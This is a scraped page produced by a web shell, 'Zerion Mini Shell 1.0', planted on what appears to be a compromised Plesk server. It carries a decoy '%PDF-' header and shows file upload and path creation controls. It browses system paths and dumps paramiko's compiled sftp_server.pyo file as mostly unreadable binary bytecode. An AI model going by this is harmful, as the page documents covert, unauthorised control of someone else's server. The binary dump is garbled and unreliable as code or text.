%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_server.pyo

�
��Abc@s�ddlZddlZddlZddlmZmZddlmZddlm	Z	m
Z
mZmZm
Z
ddlmZddlmZddlmZddlmZmZmZmZdd	lmZdd
lmZmZmZmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;m<Z<m=Z=m>Z>m?Z?ied6ed6Z@d
e	efd��YZAddlBmCZCdS(i����N(tmd5tsha1(tutil(tBaseSFTPtMessagetSFTP_FAILUREtSFTP_PERMISSION_DENIEDtSFTP_NO_SUCH_FILE(tSFTPServerInterface(tSFTPAttributes(tDEBUG(tlongtstring_typestbytes_typestb(tSubsystemHandler(%t
CMD_HANDLEt	SFTP_DESCt
CMD_STATUStSFTP_EOFtCMD_NAMEtSFTP_BAD_MESSAGEtCMD_EXTENDED_REPLYtSFTP_FLAG_READtSFTP_FLAG_WRITEtSFTP_FLAG_APPENDtSFTP_FLAG_CREATEtSFTP_FLAG_TRUNCtSFTP_FLAG_EXCLt	CMD_NAMEStCMD_OPENt	CMD_CLOSEtSFTP_OKtCMD_READtCMD_DATAt	CMD_WRITEt
CMD_REMOVEt
CMD_RENAMEt	CMD_MKDIRt	CMD_RMDIRtCMD_OPENDIRtCMD_READDIRtCMD_STATt	CMD_ATTRSt	CMD_LSTATt	CMD_FSTATtCMD_SETSTATtCMD_FSETSTATtCMD_READLINKtCMD_SYMLINKtCMD_REALPATHtCMD_EXTENDEDtSFTP_OP_UNSUPPORTEDRRt
SFTPServercBs�eZed�Zd�Zd�Zd�Zed��Zed��Z	d�Z
ed�Zdd�Zd	�Zd
�Zd�Zd�Zd
�ZRS(cOs�tj|�tj||||�|j�}tj|j�d�|_|j�|_	d|_
i|_i|_||||�|_
dS(Ns.sftpi(Rt__init__Rt
get_transportRt
get_loggertget_log_channeltloggertget_hexdumptultra_debugtnext_handlet
file_tabletfolder_tabletserver(tselftchanneltnameR@tsftp_sitlargstkwargst	transport((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_server.pyR6^s
			cCs�tt|�t�rWxm|D]4}tt|�j|d|jj�d|�qWn.tt|�j|d|jj�d|�dS(Ns[chan s] (t
issubclassttypetlisttsuperR5t_logtsocktget_name(RAtleveltmsgtm((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_server.pyRL�s
&c	Cs[||_|jtdj|��|j�|jj�xtrVy|j�\}}Wnet	k
r||jtd�dSt
k
r�}|jtdt|��|jttj
��dSXt|�}|j�}y|j|||�Wq<t
k
rR}|jtdt|��|jttj
��y|j|t�WqSqSXq<Xq<WdS(Ns#Started sftp server on channel {!r}sEOF -- end of sessionsException on channel: s Exception in server processing: (RMRLR
tformatt_send_server_versionR@tsession_startedtTruet_read_packettEOFErrort	ExceptiontstrRt
tb_stringsRtget_intt_processt_send_statusR(	RARCRGRBtttdatateRPtrequest_number((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_server.pytstart_subsystem�s2	

	
cCs~|jj�tt|�j�x!|jj�D]}|j�q0Wx!|jj�D]}|j�qTWi|_i|_dS(N(	R@t
session_endedRKR5tfinish_subsystemR>tvaluestcloseR?(RAtf((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_server.pyRd�s
	cCs=|tjkrtS|tjks1|tjkr5tStSdS(N(terrnotEACCESRtENOENTtENOTDIRRR(R`((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_server.pyt
convert_errno�s

cCs�tjdkrd|j|j@r5tj||j�n|j|j@rdtj||j	|j
�qdn|j|j@r�tj||j
|jf�n|j|j@r�t|d��}|j|j�WdQXndS(Ntwin32sw+(tsystplatformt_flagstFLAG_PERMISSIONStostchmodtst_modetFLAG_UIDGIDtchowntst_uidtst_gidtFLAG_AMTIMEtutimetst_atimetst_mtimet	FLAG_SIZEtopenttruncatetst_size(tfilenametattrRg((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_server.pyt
set_file_attr�scGs�t�}|j|�x�|D]�}t|t�rB|j|�qt|t�ra|j|�qt|ttf�r�|j|�qt	|�t
kr�|j|�qtdj
|t	|����qW|j||�dS(Nsunknown type for {!r} type {!r}(Rtadd_intt
isinstanceRt	add_int64tintRR
t
add_stringRIR	t_packRXRRt_send_packet(RARaR^targRPtitem((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_server.pyt	_response�s	

cCs�tt|�t�s)|j||�dS|jtdj|j���|jd7_|rs||j|j	�<n||j
|j	�<|j|t|j	��dS(Nshx{:d}i(
RHRIt
SFTPHandleR]t	_set_nameRRRR=R?t	_get_nameR>R�R(RARathandletfolder((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_server.pyt_send_handle_response�scCsT|dkr7yt|}Wq7tk
r3d}q7Xn|j|t||d�dS(NtUnknownt(tNoneRt
IndexErrorR�R(RARatcodetdesc((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_server.pyR]s

cCsh|jj|�}tt|�t�rTt�}|j|�|j||t�dS|j	||�dS(N(
R@tlist_folderRHRIRJR�t
_set_filesR�RUR](RARatpathtrespR�((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_server.pyt_open_folders	
cCs�|j�}t|�dkr2|j|t�dSt�}|j|�|jt|��x8|D]0}|j|j�|j|�|j|�qbW|j	t
|�dS(Ni(t_get_next_filestlenR]RRR�R�R�R�R�R(RARaR�tflistRPR�((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_server.pyt_read_folders	


cCsq|j�}|j�}|j�}|j�}|j�}||jkrb|j|td�dS|j|}xE|D]&}	|	tkrv|	}
t|	}PqvqvW|j|td�dS|dkr|j	�}t
t|�t�s�|j||d�dS|j
|}n|dkr |}n|dkrC|j|td�dSt�}
|}x�|||krt||||�}t|d�}d}|�}xo||kr|j||�}t|t�s�|j||d�dS|j|�|t|�7}||7}q�W|
|j�7}
qUWt�}|j|�|jd	�|j|
�|j|
�|jt|�dS(
NsInvalid handlesNo supported hash types foundisUnable to stat fileisBlock size too smallisUnable to hash files
check-file(t
get_binarytget_listt	get_int64R[R>R]Rt_hash_classRtstatRHRIR	R�tbytestmintreadR�R
tupdateR�tdigestRR�R�t	add_bytesR�R(RARaRPR�talg_listtstarttlengtht
block_sizeRgtxtalgnametalgtsttsum_outtoffsettblocklentchunklentcountthash_objR_((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_server.pyt_check_file%sj




	
		

	



cCs�|t@r |t@r tj}n|t@r6tj}n	tj}|t@rY|tjO}n|t@rs|tj	O}n|t
@r�|tjO}n|t@r�|tj
O}n|S(N(RRRrtO_RDWRtO_WRONLYtO_RDONLYRtO_APPENDRtO_CREATRtO_TRUNCRtO_EXCL(RAtpflagstflags((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_server.pyt_convert_pflagshs
	



cCs�|jtdjt|��|tkr~|j�}|j|j��}tj	|�}|j
||jj|||��n,|t
kr|j�}||jkr�|j|=|j|t�dS||jkr|j|j�|j|=|j|t�dS|j|td�n�|tkr�|j�}|j�}|j�}	||jkrm|j|td�dS|j|j||	�}
t|
ttf�r�t|
�dkr�|j|t�q�|j|t|
�q�|j||
�n�|tkre|j�}|j�}|j�}
||jkr?|j|td�dS|j||j|j ||
��nE|t!kr�|j�}|j||jj"|��n|t#kr�|j�}|j�}|j||jj$||��n�|t%kr+|j�}tj	|�}|j||jj&||��n|t'krb|j�}|j||jj(|��nH|t)kr�|j�}|j*||�dS|t+kr�|j�}||jkr�|j|td�dS|j|}
|j,||
�n�|t-krT|j�}|jj.|�}t/t0|�t�rA|j|t1|�q�|j||�nV|t2kr�|j�}|jj3|�}t/t0|�t�r�|j|t1|�q�|j||�n�|t4krK|j�}||jkr�|j|td�dS|j|j.�}t/t0|�t�r8|j|t1|�q�|j||�n_|t5kr�|j�}tj	|�}|j||jj6||��n|t7kr|j�}tj	|�}||jkr�|j|td�dS|j||j|j6|��n�|t8krx|j�}|jj9|�}t|ttf�re|j|t:d|dt��q�|j||�n2|t;kr�|j�}|j�}|j||jj<||��n�|t=kr
|j�}|jj>|�}|j|t:d|dt��n�|t?kr�|j�}|dkrA|j@||�q�|dkr�|j�}|j�}|j||jjA||��q�|j|tB�n|j|tB�dS(NsRequest: {}sInvalid handleiiR�s
check-filesposix-rename@openssh.com(CRLR
RRRRtget_textR�R[R	t	_from_msgR�R@R~RR�R?R]R R>RfRR!R�R�R�R
RR�RR�R"R#twriteR$tremoveR%trenameR&tmkdirR'trmdirR(R�R)R�R*R�RHRIR+R,tlstatR-R.tchattrR/R0treadlinkRR1tsymlinkR2tcanonicalizeR3R�tposix_renameR4(RAR^RaRPR�R�R�R�R�R�R_toldpathtnewpathR�R�ttarget_pathtrpathttag((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_server.pyR\zs



 "


"
N(t__name__t
__module__RR6RLRbRdtstaticmethodRlR�R�tFalseR�R�R]R�R�R�R�R\(((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_server.pyR5Ws				

			C	(R�(DRrRhRnthashlibRRtparamikoRt
paramiko.sftpRRRRRtparamiko.sftp_siRtparamiko.sftp_attrR	tparamiko.commonR
tparamiko.py3compatRRR
Rtparamiko.serverRRRRRRRRRRRRRRRRRR R!R"R#R$R%R&R'R(R)R*R+R,R-R.R/R0R1R2R3R4R�R5tparamiko.sftp_handleR�(((sI/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/sftp_server.pyt<module>s("�(��

Zerion Mini Shell 1.0